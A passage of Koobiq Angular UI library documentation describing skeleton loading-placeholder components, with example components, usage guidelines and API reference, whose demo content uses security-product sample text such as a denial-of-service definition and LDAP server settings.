                <kbq-skeleton-typography class="example-body" [lines]="4" />
                <kbq-skeleton-typography class="example-caption" level="text-compact" />
            </div>
        } @else {
            <div class="example-content">
                <div class="kbq-caps-compact example-secondary example-overline">Threat intelligence</div>
                <div class="kbq-title example-title">Denial-of-service attack</div>
                <div class="kbq-text-normal example-body">
                    In computing, a denial-of-service attack (DoS attack) is a cyber-attack in which the perpetrator
                    seeks to make a machine or network resource unavailable to its intended users by temporarily or
                    indefinitely disrupting services of a host connected to a network.
                </div>
                <div class="kbq-text-compact example-secondary example-caption">
                    Updated two hours ago by the security team
                </div>
            </div>
        }
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            gap: var(--kbq-size-l);
            padding: var(--kbq-size-xl);
        }

        .example-content {
            display: flex;
            flex-direction: column;
        }

        .example-overline {
            margin-block-end: var(--kbq-size-xxs);
        }

        .example-title {
            margin-block-end: var(--kbq-size-s);
        }

        .example-body {
            margin-block-end: var(--kbq-size-m);
        }

        .example-secondary {
            color: var(--kbq-foreground-contrast-secondary);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SkeletonTypographyExample {
    protected readonly loading = model(true);
}
```

##### Separate elements

Placeholders for [buttons](https://koobiq.io/en/components/button.md), [badges](https://koobiq.io/en/components/badge.md), [tags](https://koobiq.io/en/components/tag.md), [icons](https://koobiq.io/en/components/icon.md), and [links](https://koobiq.io/en/components/link.md) match the height of their components. You can set their width with CSS.

**Example: Skeleton element presets** (`skeleton-elements`)

```ts skeleton-elements-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqBadgeColors, KbqBadgeModule } from '@koobiq/components/badge';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqLink } from '@koobiq/components/link';
import {
    KbqSkeletonBadge,
    KbqSkeletonButton,
    KbqSkeletonIcon,
    KbqSkeletonLink,
    KbqSkeletonTag
} from '@koobiq/components/skeleton';
import { KbqTagsModule } from '@koobiq/components/tags';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'skeleton-elements-example',
    imports: [
        KbqSkeletonButton,
        KbqSkeletonBadge,
        KbqSkeletonTag,
        KbqSkeletonIcon,
        KbqSkeletonLink,
        KbqToggleModule,
        FormsModule,
        KbqBadgeModule,
        KbqButtonModule,
        KbqIconModule,
        KbqLink,
        KbqTagsModule
    ],
    template: `
        <kbq-toggle [(ngModel)]="loading">Loading</kbq-toggle>

        <div class="example-row">
            @if (loading()) {
                <kbq-skeleton-button />
                <kbq-skeleton-badge />
                <kbq-skeleton-tag />
                <kbq-skeleton-icon />
                <kbq-skeleton-link />
            } @else {
                <button kbq-button color="contrast">Start</button>
                <kbq-badge [badgeColor]="badgeColors.FadeSuccess">Active</kbq-badge>
                <kbq-tag>
                    LDAP
                    <i kbqTagRemove kbq-icon-button="kbq-xmark-s_16"></i>
                </kbq-tag>
                <i aria-label="Edit" kbq-icon-button="kbq-pencil_16"></i>
                <a kbqLink pseudo>History</a>
            }
        </div>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            gap: var(--kbq-size-m);
            padding: var(--kbq-size-xl);
        }

        .example-row {
            display: flex;
            align-items: center;
            gap: var(--kbq-size-m);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SkeletonElementsExample {
    protected readonly loading = model(true);
    protected readonly badgeColors = KbqBadgeColors;
}
```

##### Element groups

`KbqSkeletonGroup` displays a row of placeholders of the same type: buttons, badges, tags, icons, or links.

**Example: Skeleton group preset** (`skeleton-group`)

```ts skeleton-group-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqLink } from '@koobiq/components/link';
import { KbqSkeletonGroup } from '@koobiq/components/skeleton';
import { KbqTagsModule } from '@koobiq/components/tags';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'skeleton-group-example',
    imports: [KbqSkeletonGroup, KbqToggleModule, FormsModule, KbqTagsModule, KbqLink],
    template: `
        <kbq-toggle [(ngModel)]="loading">Loading</kbq-toggle>

        @if (loading()) {
            <kbq-skeleton-group preset="tag" />
            <kbq-skeleton-group preset="link" [count]="4" />
        } @else {
            <kbq-tag-list>
                <kbq-tag [color]="colors.ContrastFade">LDAP</kbq-tag>
                <kbq-tag [color]="colors.Theme">Active Directory</kbq-tag>
                <kbq-tag [color]="colors.Error">Blocked</kbq-tag>
            </kbq-tag-list>
            <div class="example-row">
                <a kbqLink pseudo>Overview</a>
                <a kbqLink pseudo>API</a>
                <a kbqLink pseudo>Examples</a>
                <a kbqLink pseudo>Changelog</a>
            </div>
        }
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            gap: var(--kbq-size-xl);
            padding: var(--kbq-size-xl);
        }

        .example-row {
            display: flex;
            flex-wrap: wrap;
            gap: var(--kbq-size-s);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SkeletonGroupExample {
    protected readonly loading = model(true);
    protected readonly colors = KbqComponentColors;
}
```

##### Parameter block

The `KbqSkeletonDl` component displays a placeholder for a set of parameters and their values.

**Example: Skeleton description list preset** (`skeleton-dl`)

```ts skeleton-dl-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqDd, KbqDl, KbqDt } from '@koobiq/components/dl';
import { KbqSkeletonDl } from '@koobiq/components/skeleton';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'skeleton-dl-example',
    imports: [KbqSkeletonDl, KbqToggleModule, FormsModule, KbqDl, KbqDt, KbqDd],
    template: `
        <kbq-toggle [(ngModel)]="loading">Loading</kbq-toggle>

        @if (loading()) {
            <kbq-skeleton-dl />
        } @else {
            <kbq-dl>
                @for (item of items; track item.term) {
                    <kbq-dt>{{ item.term }}</kbq-dt>
                    <kbq-dd>{{ item.value }}</kbq-dd>
                }
            </kbq-dl>
        }
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            gap: var(--kbq-size-xl);
            padding: var(--kbq-size-xl);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SkeletonDlExample {
    protected readonly loading = model(true);
    protected readonly items = [
        { term: 'Domain', value: 'domain-LDAP-7f7d60de-d36d-46df-80b9-8f272c32ae43' },
        { term: 'Connection type', value: 'Synchronization and authentication' },
        { term: 'Servers', value: 'productname1.security.com:555, productname2.security.com:556' }
    ];
}
```

##### Table

While a [table](https://koobiq.io/en/components/table.md) or [AG Grid](https://koobiq.io/en/components/ag-grid.md) is loading, `KbqSkeletonTable` imitates its structure. You can set:

- the number of columns and the width of each column;
- the number of rows;
- whether to show checkboxes for selecting rows.

**Example: Skeleton grid preset** (`skeleton-grid`)

```ts skeleton-grid-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqSkeletonTable } from '@koobiq/components/skeleton';

@Component({
    selector: 'skeleton-grid-example',
    imports: [KbqSkeletonTable],
    template: `
        <kbq-skeleton-table selectable [columns]="['240px', 'auto', 'auto', '120px']" [pinnedColumns]="1" />
    `,
    styles: `
        :host {
            display: flex;
            padding: var(--kbq-size-xl);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SkeletonGridExample {}
```

##### Form field

`KbqSkeletonFormField` shows the label, field, and hint below it as one placeholder. The preset supports a multiline field and a label placed to its left.

**Example: Skeleton form field preset** (`skeleton-form-field`)

```ts skeleton-form-field-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqSkeletonFormField } from '@koobiq/components/skeleton';
import { KbqTextareaModule } from '@koobiq/components/textarea';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'skeleton-form-field-example',
    imports: [
        KbqSkeletonFormField,
        KbqToggleModule,
        FormsModule,
        KbqFormFieldModule,
        KbqInputModule,
        KbqTextareaModule
    ],
    template: `
        <kbq-toggle [(ngModel)]="loading">Loading</kbq-toggle>

        @if (loading()) {
            <kbq-skeleton-form-field horizontal hint labelClass="flex-30" contentClass="flex-70" />
            <kbq-skeleton-form-field hint />
            <kbq-skeleton-form-field control="textarea" hint />
        } @else {
            <kbq-form-field horizontal labelClass="flex-30" contentClass="flex-70">
                <kbq-label>Server address</kbq-label>
                <input kbqInput value="productname1.security.com" />
                <kbq-hint>Domain name or IP address</kbq-hint>
            </kbq-form-field>
            <kbq-form-field>
                <kbq-label>Port</kbq-label>
                <input kbqInput value="636" />
                <kbq-hint>LDAPS listens on port 636</kbq-hint>
            </kbq-form-field>
            <kbq-form-field>
                <kbq-label>Description</kbq-label>
                <textarea kbqTextarea>Primary directory server of the security.com domain</textarea>
                <kbq-hint>Shown in the list of servers</kbq-hint>
            </kbq-form-field>
        }
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            gap: var(--kbq-size-xl);
            padding: var(--kbq-size-xl);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SkeletonFormFieldExample {
    protected readonly loading = model(true);
}
```

##### Expandable section

`KbqSkeletonAccordion` displays a placeholder for the [accordion](https://koobiq.io/en/components/accordion.md) component. The skeleton shows all groups collapsed.

**Example: Skeleton accordion preset** (`skeleton-accordion`)

```ts skeleton-accordion-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqAccordionModule } from '@koobiq/components/accordion';
import { KbqSkeletonAccordion } from '@koobiq/components/skeleton';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'skeleton-accordion-example',
    imports: [KbqSkeletonAccordion, KbqToggleModule, FormsModule, KbqAccordionModule],
    template: `
        <kbq-toggle [(ngModel)]="loading">Loading</kbq-toggle>

        @if (loading()) {
            <kbq-skeleton-accordion />
        } @else {
            <kbq-accordion [useStateSaving]="false">
                @for (section of sections; track section.title) {
                    <kbq-accordion-item>
                        <button kbq-accordion-trigger type="button">{{ section.title }}</button>
                        <kbq-accordion-content>{{ section.content }}</kbq-accordion-content>
                    </kbq-accordion-item>
                }
            </kbq-accordion>
        }
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            gap: var(--kbq-size-xl);
            padding: var(--kbq-size-xl);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SkeletonAccordionExample {
    protected readonly loading = model(true);
    protected readonly sections = [
        { title: 'Connection', content: 'The server address, the port and the type of the connection.' },
        { title: 'Synchronization', content: 'How often the users and the groups of the directory are updated.' },
        { title: 'Authentication', content: 'Who is allowed to sign in with an account of the directory.' }
    ];
}
```

##### Checkbox, radio button, and toggle

`KbqSkeletonCheckable` displays simplified placeholders for the label and a [checkbox](https://koobiq.io/en/components/checkbox.md), [radio button](https://koobiq.io/en/components/radio.md), or [toggle](https://koobiq.io/en/components/toggle.md). You can also show a hint.

**Example: Skeleton checkable preset** (`skeleton-checkable`)

```ts skeleton-checkable-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqCheckboxModule } from '@koobiq/components/checkbox';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqRadioModule } from '@koobiq/components/radio';
import { KbqSkeletonCheckable } from '@koobiq/components/skeleton';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'skeleton-checkable-example',
    imports: [
        KbqSkeletonCheckable,
        KbqToggleModule,
        FormsModule,
        KbqCheckboxModule,
        KbqRadioModule,
        KbqFormFieldModule
    ],
    template: `
        <kbq-toggle [(ngModel)]="loading">Loading</kbq-toggle>

        @if (loading()) {
            <kbq-skeleton-checkable hint />
            <kbq-skeleton-checkable control="radio" [rows]="3" />
            <kbq-skeleton-checkable control="toggle" hint />
        } @else {
            <kbq-checkbox>
                Synchronize every hour
                <kbq-hint>The next synchronization starts at 12:00</kbq-hint>
            </kbq-checkbox>
            <kbq-radio-group name="protocol">
                <kbq-radio-button [checked]="true" [value]="'ldaps'">LDAPS</kbq-radio-button>
                <kbq-radio-button [value]="'ldap'">LDAP</kbq-radio-button>
                <kbq-radio-button [value]="'starttls'">LDAP with StartTLS</kbq-radio-button>
            </kbq-radio-group>
            <kbq-toggle>
                Notify the administrators
                <kbq-hint>By email and in the notification center</kbq-hint>
            </kbq-toggle>
        }
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: flex-start;
            gap: var(--kbq-size-xl);
            padding: var(--kbq-size-xl);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SkeletonCheckableExample {
    protected readonly loading = model(true);
}
```

##### Tabs

`KbqSkeletonTabs` creates a placeholder for tabs. You can customize the tab content. By default, it shows lines of text.

**Example: Skeleton tabs preset** (`skeleton-tabs`)

```ts skeleton-tabs-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqSkeletonTabs } from '@koobiq/components/skeleton';
import { KbqTabsModule } from '@koobiq/components/tabs';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'skeleton-tabs-example',
    imports: [KbqSkeletonTabs, KbqToggleModule, FormsModule, KbqTabsModule],
    template: `
        <kbq-toggle [(ngModel)]="loading">Loading</kbq-toggle>

        @if (loading()) {
            <kbq-skeleton-tabs contentLines="4" count="5" />
            <kbq-skeleton-tabs vertical count="4" contentLines="4" />
        } @else {
            <kbq-tab-group>
                @for (tab of tabs; track tab.label) {
                    <kbq-tab [label]="tab.label">
                        <div class="example-tab-content">{{ tab.content }}</div>
                    </kbq-tab>
                }
            </kbq-tab-group>
            <kbq-tab-group vertical>
                @for (tab of tabs; track tab.label) {
                    <kbq-tab [label]="tab.label">
                        <div class="example-tab-content">{{ tab.content }}</div>
                    </kbq-tab>
                }
            </kbq-tab-group>
        }
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            gap: var(--kbq-size-3xl);
            padding: var(--kbq-size-xl);
        }

        .example-tab-content {
            padding-block-start: var(--kbq-size-s);
        }

        kbq-tab-group[vertical] .example-tab-content {
            padding-block-start: 0;
            padding-inline-start: var(--kbq-size-s);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SkeletonTabsExample {
    protected readonly loading = model(true);
    protected readonly tabs = [
        {
            label: 'Overview',
            content:
                'In computing, a denial-of-service attack (DoS attack) is a cyber-attack in which the perpetrator seeks to make a machine or network resource unavailable to its intended users by temporarily or indefinitely disrupting services of a host connected to a network.'
        },
        {
            label: 'Sources',
            content:
                'In a distributed denial-of-service attack (DDoS attack), the incoming traffic flooding the victim originates from many different sources.'
        },
        {
            label: 'Mitigation',
            content: 'Simply attempting to block a single source is insufficient, as there are multiple sources.'
        }
    ];
}
```

##### Hierarchical list

`KbqSkeletonTree` displays a placeholder for a hierarchical list. The second node is expanded to show the nested structure.

**Example: Skeleton tree preset** (`skeleton-tree`)

```ts skeleton-tree-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqSkeletonTree } from '@koobiq/components/skeleton';
import { KbqToggleModule } from '@koobiq/components/toggle';
import { FlatTreeControl, KbqTreeFlatDataSource, KbqTreeFlattener, KbqTreeModule } from '@koobiq/components/tree';

type DirectoryNode = {
    name: string;
    children?: DirectoryNode[];
};

type DirectoryFlatNode = {
    name: string;
    level: number;
    expandable: boolean;
};

const DIRECTORY: DirectoryNode[] = [
    { name: 'security.com', children: [{ name: 'Operators' }] },
    {
        name: 'corp.local',
        children: [
            { name: 'Administrators', children: [{ name: 'a.koobiq' }] },
            { name: 'Developers', children: [{ name: 'b.koobiq' }] },
            { name: 'Testers', children: [{ name: 'c.koobiq' }] }
        ]
    },
    { name: 'lab.local', children: [{ name: 'Guests' }] }
];

@Component({
    selector: 'skeleton-tree-example',
    imports: [KbqSkeletonTree, KbqToggleModule, FormsModule, KbqTreeModule],
    template: `
        <kbq-toggle [(ngModel)]="loading">Loading</kbq-toggle>

        @if (loading()) {
            <kbq-skeleton-tree />
        } @else {
            <kbq-tree-selection [dataSource]="dataSource" [treeControl]="treeControl" [(ngModel)]="selected">
                <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding>{{ node.name }}</kbq-tree-option>

                <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                    <kbq-tree-node-toggle [node]="node" />
                    {{ node.name }}
                </kbq-tree-option>
            </kbq-tree-selection>
        }
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            gap: var(--kbq-size-xl);
            padding: var(--kbq-size-xl);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SkeletonTreeExample {
    protected readonly loading = model(true);
    protected readonly selected = model<string>('');
    protected readonly treeControl = new FlatTreeControl<DirectoryFlatNode>(
        (node) => node.level,
        (node) => node.expandable,
        (node) => node.name,
        (node) => node.name
    );
    protected readonly dataSource = new KbqTreeFlatDataSource(
        this.treeControl,
        new KbqTreeFlattener<DirectoryNode, DirectoryFlatNode>(
            (node, level) => ({ name: node.name, level, expandable: !!node.children }),
            (node) => node.level,
            (node) => node.expandable,
            (node) => node.children
        )
    );

    constructor() {
        this.dataSource.data = DIRECTORY;

        // The second node is the expanded one, as in the preset.
        const expanded = this.treeControl.dataNodes.find(({ name }) => name === 'corp.local');

        if (expanded) {
            this.treeControl.expand(expanded);
        }
    }

    protected hasChild(_: number, node: DirectoryFlatNode): boolean {
        return node.expandable;
    }
}
```

##### Global configuration

Use `kbqSkeletonPresetsConfigurationProvider` to configure presets for the entire application or individual pages.

```ts
import { kbqSkeletonPresetsConfigurationProvider } from '@koobiq/components/skeleton';

@Component({
    providers: [
        kbqSkeletonPresetsConfigurationProvider({
            typographyLines: 1,
            dlRows: 3,
            tableRows: 3,
            tableColumns: 3,
            groupCount: 3,
            accordionRows: 3,
            checkableRows: 1,
            tabsCount: 3,
            tabsContentLines: 3,
            treeRows: 3,
            treeChildren: 3
        })
    ]
})
```

#### Skeleton for a rendered element

The `kbqSkeleton` directive turns rendered elements and their content into placeholders that preserve their size.

**Example: Skeleton directive** (`skeleton-directive`)

```ts skeleton-directive-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqAlertColors, KbqAlertModule, KbqAlertStyles } from '@koobiq/components/alert';
import { KbqBadgeColors, KbqBadgeModule } from '@koobiq/components/badge';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqSkeleton } from '@koobiq/components/skeleton';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'skeleton-directive-example',
    imports: [
        KbqSkeleton,
        KbqToggleModule,
        FormsModule,
        KbqAlertModule,
        KbqBadgeModule,
        KbqButtonModule,
        KbqIconModule
    ],
    template: `
        <kbq-toggle [(ngModel)]="loading">Loading</kbq-toggle>

        <div class="example-heading">
            <div class="kbq-title">
                <span [kbqSkeleton]="loading()">Denial-of-service attack</span>
            </div>
            <kbq-badge [badgeColor]="badgeColors.FadeError" [compact]="true" [kbqSkeleton]="loading()">
                Critical
            </kbq-badge>
        </div>
        <kbq-alert
            class="example-alert"
            [alertColor]="alertColors.Error"
            [alertStyle]="alertStyles.Colored"
            [compact]="true"
            [kbqSkeleton]="loading()"
        >
            <i aria-hidden="true" kbq-icon="kbq-circle-info_16"></i>
            Protection is enabled on three servers
        </kbq-alert>
        <div class="kbq-text-normal">
            <span [kbqSkeleton]="loading()">
                In computing, a denial-of-service attack (DoS attack) is a cyber-attack in which the perpetrator seeks
                to make a machine or network resource unavailable to its intended users by temporarily or indefinitely
                disrupting services of a host connected to a network.
            </span>
        </div>
        <div class="example-actions">
            <button kbq-button color="contrast" [kbqSkeleton]="loading()">Read more</button>
            <div kbq-button-group>
                <button kbq-button [kbqSkeleton]="loading()">Block</button>
                <button kbq-button [kbqSkeleton]="loading()">Ignore</button>
                <button kbq-button [kbqSkeleton]="loading()">Report</button>
            </div>
        </div>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: flex-start;
            gap: var(--kbq-size-m);
            padding: var(--kbq-size-xl);
        }

        .example-heading {
            display: flex;
            align-items: center;
            gap: var(--kbq-size-s);
        }

        .example-alert {
            align-self: stretch;
        }

        .example-actions {
            display: flex;
            align-items: center;
            gap: var(--kbq-size-m);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SkeletonDirectiveExample {
    protected readonly loading = model(true);
    protected readonly badgeColors = KbqBadgeColors;
    protected readonly alertColors = KbqAlertColors;
    protected readonly alertStyles = KbqAlertStyles;
}
```

#### Usage examples

##### Code block

While the [code block](https://koobiq.io/en/components/code-block.md) loads, a fixed-height skeleton appears in its place.

**Example: Skeleton in place of a code block** (`skeleton-code-block`)

```ts skeleton-code-block-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import {
    KbqCodeBlockFile,
    kbqCodeBlockHighlightJsConfigProvider,
    KbqCodeBlockModule
} from '@koobiq/components/code-block';
import { KbqSkeleton } from '@koobiq/components/skeleton';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'skeleton-code-block-example',
    imports: [KbqSkeleton, KbqCodeBlockModule, KbqToggleModule, FormsModule],
    template: `
        <kbq-toggle [(ngModel)]="loading">Loading</kbq-toggle>

        @if (loading()) {
            <kbq-skeleton [style.height.px]="98" />
        } @else {
            <kbq-code-block lineNumbers [files]="files" />
        }
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            gap: var(--kbq-size-xl);
            padding: var(--kbq-size-xl);
        }
    `,
    providers: [
        kbqCodeBlockHighlightJsConfigProvider({
            languages: {
                javascript: () => import('highlight.js/lib/languages/javascript')
            }
        })
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SkeletonCodeBlockExample {
    protected readonly loading = model(true);
    protected readonly files: KbqCodeBlockFile[] = [
        {
            content: `function getVulnerabilities() {\n\treturn ['BruteForce', 'Complex Attack', 'DDoS', 'HIPS alert', 'IDS/IPS Alert', 'Zero-Day Exploit', 'XSS', 'Malware', 'Ransomware', 'Phishing'];\n};`,
            language: 'javascript'
        }
    ];
}
```

##### Loading in parts

Data loads in parts. Placeholders disappear as the data updates.

**Example: Skeleton in sidepanel** (`skeleton-in-sidepanel`)

```ts skeleton-in-sidepanel-example.ts
import { ChangeDetectionStrategy, Component, DestroyRef, inject, signal, TemplateRef } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqDd, KbqDl, KbqDt } from '@koobiq/components/dl';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqSidepanelModule, KbqSidepanelService } from '@koobiq/components/sidepanel';
import { KbqSkeletonDl, KbqSkeletonGroup, KbqSkeletonTable } from '@koobiq/components/skeleton';
import { KbqTableModule } from '@koobiq/components/table';
import { merge, Subscription, tap, timer } from 'rxjs';

type Detail = { term: string; value: string };

type Server = { address: string; port: number };

const DETAILS: Detail[] = [
    { term: 'Domain', value: 'domain-LDAP-7f7d60de-d36d-46df-80b9-8f272c32ae43' },
    { term: 'Connection type', value: 'Synchronization and authentication' },
    { term: 'Servers', value: 'productname1.security.com:555, productname2.security.com:556' }
];

const SERVERS: Server[] = Array.from({ length: 6 }, (_, index) => ({
    address: `productname${index}.security.com`,
    port: 555 + index
}));

@Component({
    selector: 'skeleton-in-sidepanel-example',
    imports: [
        KbqSkeletonDl,
        KbqSkeletonGroup,
        KbqSkeletonTable,
        KbqButtonModule,
        KbqSidepanelModule,
        KbqIconModule,
        KbqDl,
        KbqDt,
        KbqDd,
        KbqTableModule
    ],
    template: `
        <button kbq-button (click)="open(template)">Open sidepanel</button>

        <ng-template #template>
            <kbq-sidepanel-header [closeable]="true">LDAP-7f7d60de-d36d-46df-80b9-8f272c32ae45</kbq-sidepanel-header>
            <kbq-sidepanel-body class="example-body">
                @if (details(); as details) {
                    <div class="example-actions">
                        <button kbq-button (click)="load()">
                            <i kbq-icon="kbq-circle-play_16"></i>
                            Start synchronization
                        </button>
                        <button kbq-button aria-label="Edit" disabled>
                            <i kbq-icon="kbq-pencil_16"></i>
                        </button>
                        <button kbq-button disabled>
                            <i kbq-icon="kbq-trash_16"></i>
                            Remove
                        </button>
                    </div>

                    <kbq-dl>
                        @for (item of details; track item.term) {
                            <kbq-dt>{{ item.term }}</kbq-dt>
                            <kbq-dd>{{ item.value }}</kbq-dd>
                        }
                    </kbq-dl>
                } @else {
                    <kbq-skeleton-group preset="button" />
                    <kbq-skeleton-dl />
                }

                @if (servers(); as servers) {
                    <table kbq-table width="100%">
                        <thead>
                            <tr>
                                <th>Address</th>
                                <th>Port</th>
                                <th>SSL</th>
                            </tr>
                        </thead>
                        <tbody>
                            @for (server of servers; track server.address) {
                                <tr>
                                    <td>{{ server.address }}</td>
                                    <td>{{ server.port }}</td>
                                    <td>
                                        <i aria-label="Enabled" kbq-icon="kbq-check_16" role="img"></i>
                                    </td>
                                </tr>
                            }
                        </tbody>
                    </table>
                } @else {
                    <kbq-skeleton-table />
                }
            </kbq-sidepanel-body>
        </ng-template>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            padding: var(--kbq-size-xl);
        }

        .example-body {
            display: flex;
            flex-direction: column;
            gap: var(--kbq-size-xxl);
        }

        .example-actions {
            display: flex;
            gap: var(--kbq-size-s);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class SkeletonInSidepanelExample {
    private readonly sidepanel = inject(KbqSidepanelService);
    private loading = Subscription.EMPTY;

    protected readonly details = signal<Detail[] | null>(null);
    protected readonly servers = signal<Server[] | null>(null);

    constructor() {
        inject(DestroyRef).onDestroy(() => this.loading.unsubscribe());
    }

    protected open(template: TemplateRef<unknown>): void {
        this.load();
        this.sidepanel
            .open(template)
            .afterClosed()
            .subscribe(() => this.loading.unsubscribe());
    }

    // Stands in for the requests behind the panel: the details arrive first, the servers later. A new load and
    // closing the panel cancel whatever has not arrived yet.
    protected load(): void {
        this.loading.unsubscribe();
        this.details.set(null);
        this.servers.set(null);
        this.loading = merge(
            timer(1500).pipe(tap(() => this.details.set(DETAILS))),
            timer(2500).pipe(tap(() => this.servers.set(SERVERS)))
        ).subscribe();
    }
}
```

#### Guidelines

Use a skeleton when:

- The page or section structure is known in advance, and the data is loading for the first time.
- Loading takes a few seconds.

Do not use a skeleton in these cases:

- Loading takes less than 1 second; the skeleton can appear briefly and cause the interface to flicker.
- Use a [progress spinner](https://koobiq.io/en/components/progress-spinner.md) when an action is in progress, such as saving, deleting, or submitting a form.
- For long-running tasks, such as file conversion or data transfer, use a [progress bar](https://koobiq.io/en/components/progress-bar.md) or a [progress spinner](https://koobiq.io/en/components/progress-spinner.md).
- You can keep the previous content on screen during an update. Show the update state separately.
- Another indicator already shows that content is loading.

### API

#### Components

##### KbqSkeletonAccordion (component)

Placeholder of an accordion whose items have not loaded yet: collapsed items with their icon and title.

```ts
@Component({ selector: 'kbq-skeleton-accordion' })
class KbqSkeletonAccordion {
    readonly rows = input<number>(this.configuration.accordionRows);
}
```

- `[rows]`: `number` — Number of collapsed items, `accordionRows` of `KBQ_SKELETON_PRESETS_CONFIGURATION` by default.

##### KbqSkeletonBadge (component)

Placeholder of a badge whose data has not loaded yet.

```ts
@Component({ selector: 'kbq-skeleton-badge' })
class KbqSkeletonBadge {}
```

##### KbqSkeletonButton (component)

Placeholder of a button whose data has not loaded yet.

```ts
@Component({ selector: 'kbq-skeleton-button' })
class KbqSkeletonButton {}
```

##### KbqSkeletonCheckable (component)

Placeholder of checkboxes, radio buttons or toggles whose data has not loaded yet: the control, and the label with
its hint on demand.

```ts
@Component({ selector: 'kbq-skeleton-checkable' })
class KbqSkeletonCheckable {
    readonly control = input<KbqSkeletonCheckableControl>('checkbox');
    readonly rows = input<number>(this.configuration.checkableRows);
    readonly label = input<boolean>(true);
    readonly hint = input<boolean>(false);
}
```

- `[control]`: `KbqSkeletonCheckableControl` — Control the placeholder stands in for.
- `[rows]`: `number` — Number of controls, `checkableRows` of `KBQ_SKELETON_PRESETS_CONFIGURATION` by default.
- `[label]`: `boolean` — Whether a control has a label.
- `[hint]`: `boolean` — Whether the label has a hint below it.

##### KbqSkeletonDl (component)

Placeholder of a description list whose data has not loaded yet.

```ts
@Component({ selector: 'kbq-skeleton-dl' })
class KbqSkeletonDl {
    readonly rows = input<number>(this.configuration.dlRows);
}
```

- `[rows]`: `number` — Number of terms with their descriptions, `dlRows` of `KBQ_SKELETON_PRESETS_CONFIGURATION` by default.

##### KbqSkeletonFormField (component)

Placeholder of a form field whose value has not loaded yet: its label, control and hint.

```ts
@Component({ selector: 'kbq-skeleton-form-field' })
class KbqSkeletonFormField {
    readonly horizontal = input<boolean>(false);
    readonly control = input<KbqSkeletonFormFieldControl>('input');
    readonly label = input<boolean>(true);
    readonly hint = input<boolean>(false);
    readonly labelClass = input<string | string[] | Set<string>>();
    readonly contentClass = input<string | string[] | Set<string>>();
}
```

- `[horizontal]`: `boolean` — Whether the label is to the left of the control, as in a horizontal `kbq-form-field`.
- `[control]`: `KbqSkeletonFormFieldControl` — Control of the form field.
- `[label]`: `boolean` — Whether the form field has a label, as a `kbq-form-field` with `kbq-label`.
- `[hint]`: `boolean` — Whether the form field has a hint below the control.
- `[labelClass]`: `string | string[] | Set<string>` — Classes of the label, such as the `labelClass` of the `kbq-form-field` the placeholder stands in for.
